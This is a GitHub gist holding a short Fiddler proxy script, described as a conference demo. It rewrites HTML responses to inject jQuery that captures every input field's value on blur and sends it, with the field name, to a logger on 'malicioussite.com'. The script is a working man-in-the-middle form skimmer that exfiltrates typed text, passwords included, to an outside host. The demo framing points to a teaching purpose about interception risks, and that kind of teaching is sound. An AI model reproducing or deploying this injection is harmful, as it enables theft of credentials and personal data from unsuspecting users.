Last active
December 19, 2015 15:58
-
-
Save stevetemple/5980155 to your computer and use it in GitHub Desktop.
My fiddler script for umBristol 11th July - demo only - assumes the site is running jquery already. Put in OnBeforeResponse function in fiddler custom rules script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html")) { | |
// Remove any compression or chunking | |
oSession.utilDecodeResponse(); | |
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes); | |
// Match the jQuery script tag | |
var oRegEx = /(<\/body>)/gi; | |
// replace the script tag withitself (no change) + append custom script tag | |
oBody = oBody.replace(oRegEx, "<script type='text/javascript'>$('input').blur(function() { $.get('http://www.malicioussite.com/logger?text=' + $(this).val() + '&field=' + $(this).attr('name')) });</script>$1"); | |
// Set the response body to the changed body string | |
oSession.utilSetResponseBody(oBody); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment